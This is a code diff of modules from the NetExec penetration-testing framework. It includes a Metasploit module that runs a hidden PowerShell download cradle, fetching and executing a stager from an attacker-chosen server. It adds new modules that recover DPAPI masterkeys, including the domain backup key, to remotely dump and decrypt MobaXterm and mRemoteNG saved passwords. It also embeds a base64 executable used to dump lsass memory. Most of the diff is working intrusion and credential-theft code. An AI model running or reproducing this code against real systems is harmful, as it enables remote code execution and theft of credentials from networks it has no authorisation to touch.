||||
|
||||
@@ -53,24 +58,19 @@ class NXCModule:
|
||||
self.srvport = module_options["SRVPORT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
command = """$url="{}://{}:{}/{}"
|
||||
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
||||
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessInfo.FileName=$PowershellExe
|
||||
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
|
||||
$ProcessInfo.UseShellExecute = $False
|
||||
$ProcessInfo.RedirectStandardOutput = $True
|
||||
$ProcessInfo.CreateNoWindow = $True
|
||||
$ProcessInfo.WindowStyle = "Hidden"
|
||||
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
|
||||
"http" if self.met_ssl == "http" else "https",
|
||||
self.srvhost,
|
||||
self.srvport,
|
||||
self.rand,
|
||||
)
|
||||
context.log.debug(command)
|
||||
connection.ps_execute(command, force_ps32=True)
|
||||
context.log.success("Executed payload")
|
||||
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
context.log.success("Executed payload")
|
||||
@@ -0,0 +1,128 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -0,0 +1,212 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass
|
||||
class MRemoteNgEncryptionAttributes:
|
||||
kdf_iterations: int
|
||||
block_cipher_mode: str
|
||||
encryption_engine: str
|
||||
full_file_encryption: bool
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Dump mRemoteNG Passwords
|
||||
module by @_zblurx
|
||||
"""
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
".",
|
||||
"..",
|
||||
"desktop.ini",
|
||||
"Public",
|
||||
"Default",
|
||||
"Default User",
|
||||
"All Users",
|
||||
)
|
||||
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
]
|
||||
|
||||
self.recurse_max = 10
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SHARE Share parsed. Default to C$
|
||||
PASSWORD Custom password to decrypt confCons.xml files
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
|
||||
self.custom_path = None
|
||||
if "CUSTOM_PATH" in module_options:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
kdf_iterations=int(main.attrib["KdfIterations"]),
|
||||
block_cipher_mode=main.attrib["BlockCipherMode"],
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
continue
|
||||
name = node_attribute["Name"]
|
||||
hostname = node_attribute["Hostname"]
|
||||
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
for node in list(main.getchildren()):
|
||||
node_attributes = node.attrib
|
||||
if node_attributes["Type"] == "Connection":
|
||||
nodes.append(node.attrib)
|
||||
elif node_attributes["Type"] == "Container":
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
new_path = ntpath.join(directory_path, item.get_longname())
|
||||
if item.is_directory() > 0:
|
||||
if recurse_level < recurse_max:
|
||||
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
|
||||
else:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
return encrypted_password
|
||||
|
||||
if encryption_attributes.encryption_engine == "AES":
|
||||
salt = encrypted_password[:16]
|
||||
associated_data = encrypted_password[:16]
|
||||
nonce = encrypted_password[16:32]
|
||||
ciphertext = encrypted_password[32:-16]
|
||||
tag = encrypted_password[-16:]
|
||||
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
|
||||
if encryption_attributes.block_cipher_mode == "GCM":
|
||||
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "CCM":
|
||||
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "EAX":
|
||||
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
+5
-5
@@ -1,8 +1,8 @@
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os import path
|
||||
from os.path import abspath, join, isfile
|
||||
|
||||
from nxc.paths import DATA_PATH
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -25,7 +25,7 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
if "EXEC" in module_options:
|
||||
@@ -36,11 +36,11 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded:
|
||||
file_to_upload = "/tmp/pi.exe"
|
||||
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
|
||||
with open(file_to_upload, "wb") as pm:
|
||||
pm.write(self.pi_embedded)
|
||||
else:
|
||||
if path.isfile(self.imp_exe):
|
||||
if isfile(self.imp_exe):
|
||||
file_to_upload = self.imp_exe
|
||||
else:
|
||||
context.log.error(f"Cannot open {self.imp_exe}")
|
||||
|
||||
@@ -7,6 +7,8 @@ import re
|
||||
import sys
|
||||
import pypykatz
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -30,7 +32,7 @@ class NXCModule:
|
||||
"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 truncated
|
||||
)
|
||||
self.procdump = "procdump.exe"
|
||||
self.procdump_path = "/tmp/"
|
||||
self.procdump_path = abspath(TMP_PATH)
|
||||
self.dir_result = self.procdump_path
|
||||
self.useembeded = True
|
||||
|
||||
@@ -89,10 +91,10 @@ class NXCModule:
|
||||
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, "wb+") as dump_file:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
@@ -108,7 +110,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
with open(self.dir_result + machine_name, "rb") as dump:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
|
||||
try:
|
||||
credz_bh = []
|
||||
try:
|
||||
|
||||
@@ -103,6 +103,7 @@ class NXCModule:
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
|
||||
@@ -4,6 +4,7 @@ from datetime import datetime
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
@@ -255,7 +256,7 @@ class TSCH_EXEC:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
|
||||
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except OSError:
|
||||
|
||||
+16
-11
@@ -1,7 +1,7 @@
|
||||
import pylnk3
|
||||
import ntpath
|
||||
from sys import exit
|
||||
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -18,11 +18,12 @@ class NXCModule:
|
||||
|
||||
def __init__(self):
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.remote_file_path = None
|
||||
self.local_lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.ico_uri = None
|
||||
self.shares = None
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -31,6 +32,7 @@ class NXCModule:
|
||||
NAME LNK file name written to the share(s)
|
||||
